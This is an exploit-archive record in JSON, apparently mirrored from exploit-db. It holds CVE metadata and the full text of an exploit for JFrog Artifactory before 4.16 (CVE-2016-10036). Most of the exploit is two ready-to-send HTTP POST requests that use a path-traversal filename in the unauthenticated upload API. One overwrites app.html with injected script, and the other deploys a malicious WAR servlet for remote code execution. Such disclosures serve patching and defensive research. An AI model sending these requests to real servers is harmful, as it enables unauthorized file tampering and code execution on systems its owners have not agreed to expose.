{"exploit":{"id":"EDB-44543","name":"Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution","description":"Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution","cves":["CVE-2016-10036"],"author":"Alessio Sergi","published":"2018-04-26","platform":"linux","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44543","path":"exploits/linux/webapps/44543.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44543.txt","vulnerabilities":[{"id":"CVE-2016-10036","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in ui/artifact/upload in JFrog Artifactory before 4.16 allows remote attackers to (1) deploy an arbitrary servlet application and execute arbitrary code by uploading a war file or (2) possibly write to arbitrary files and cause a denial of service by uploading an HTML file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10036","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-10036"},"updatedAt":"2024-08-06T03:07:32.049Z","retrievedAt":"2026-11-27T06:09:55.998Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44543.png?v=2","url":"https://exploitbin.com/exploits/EDB-44543","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44543/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44543/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Jfrog Artifactory < 4.16 - Unauthenticated Arbitrary File Upload / Remote Command Execution\n# Date: 2018-04-25\n# Exploit Author: Alessio Sergi\n# Vendor Homepage: https://jfrog.com/artifactory/\n# Software Link: https://bintray.com/jfrog/artifactory/download_file?file_path=jfrog-artifactory-oss-4.15.0.zip\n# CVE : CVE-2016-10036\n\nJfrog Artifactory < 4.16 is vulnerable to unauthenticated arbitrary file upload and directory traversal vulnerabilities.\nThe vulnerabilities are within the upload api \"/artifactory/ui/artifact/upload\", require that \"Allow Anonymous Access\" is enabled (as it is on a default installation) and can be abused to create or overwrite files on the server. Specifically, it is possible to create or overwrite any files inside the application folder (scenario 1) or deploy a new application (scenario 2) and execute arbitrary code on the server.\n\n\nScenario 1: It is possible to modify the html files of the application just by executing an http post request like the one below, which exploits a directory traversal vulnerability on the parameter \"filename\" to insert the javascript code \"<SCRIPT>alert(/Vulnerable/)</SCRIPT>\" within the file app.html :\n\n******\n\nPOST /artifactory/ui/artifact/upload HTTP/1.1\nHost: [removed]\nUser-Agent: [removed]\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Length: 1749\nContent-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687\nConnection: close\n\n-----------------------------6085305491255810029929874687\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../tomcat/webapps/artifactory/webapp/app.html\"\nContent-Type: application/zip\n\n<!DOCTYPE html>\n<html ng-app=\"artifactory.ui\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"google\" content=\"notranslate\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">\n\n    <link rel=\"icon\" type=\"image/x-icon\" href=\"images/favicon.40350.ico\"/>\n\n    <!-- Stylesheets -->\n    <link rel=\"stylesheet\" href=\"css/vendorStyles.40350.css\"/>\n    <link rel=\"stylesheet\" href=\"css/application.40350.css\"/>\n\n    <title></title>\n</head>\n\n<body jf-body-class ng-class=\"{'load-complete':jfBodyClass.isLoadCompleted()}\">\n<jf-spinner domain=\"body\"></jf-spinner>\n<toaster-container></toaster-container>\n\n<ui-view></ui-view>\n\n<!-- Javascript -->\n<script type=\"text/javascript\" src=\"vendorScripts.40350.js\"></script>\n<script type=\"text/javascript\" src=\"templates.40350.js\"></script>\n\n<!-- Application code -->\n<script src=\"artifactory_core.40350.js\"></script>\n<script src=\"artifactory_services.40350.js\"></script>\n<script src=\"artifactory_dao.40350.js\"></script>\n\n<script src=\"artifactory_ui.40350.js\"></script>\n<script src=\"artifactory_ui_components.40350.js\"></script>\n<script src=\"artifactory_directives.40350.js\"></script>\n<script src=\"artifactory_filters.40350.js\"></script>\n\n<script src=\"artifactory_views.40350.js\"></script>\n<script src=\"artifactory_states.40350.js\"></script>\n<script src=\"artifactory_main.40350.js\"></script>\n<SCRIPT>alert(/Vulnerable/)</SCRIPT>\n\n</body>\n</html>\n\n\n-----------------------------6085305491255810029929874687--\n\n******\n\n(It is also possible to exploit this vulnerability to create JSP files within the application folder, but the tomcat used by Artifactory on a default installation won't execute them.)\n\n\n\nScenario 2:\n\nIt is possible to exploit the same vulnerability to deploy a malicious servlet application on the tomcat server and obtain remote code execution:\n\n******\n\nPOST /artifactory/ui/artifact/upload HTTP/1.1\nHost: [removed]\nUser-Agent: [removed]\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Length: 3515\nContent-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687\nConnection: close\n\n-----------------------------6085305491255810029929874687\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../tomcat/webapps/malicious-servlet.war\"\nContent-Type: application/zip\n\nPK\u0003\u0004\u0014�\b\b\b�3[--SNIP--]\nWEB-INF/lib/PK\u0005\u0006����\u0006�\u0006�r\u0001��>\u000b����\n\n-----------------------------6085305491255810029929874687--\n\n******","sha256":"a5ca1730317fffab0409ecd97e8bde158ad312ce5dde99294da7bcc9963fa00a","bytes":4321,"fetchedAt":"2026-11-27T06:09:54.382Z","encoding":"utf-8 (display only; download retains original bytes)"}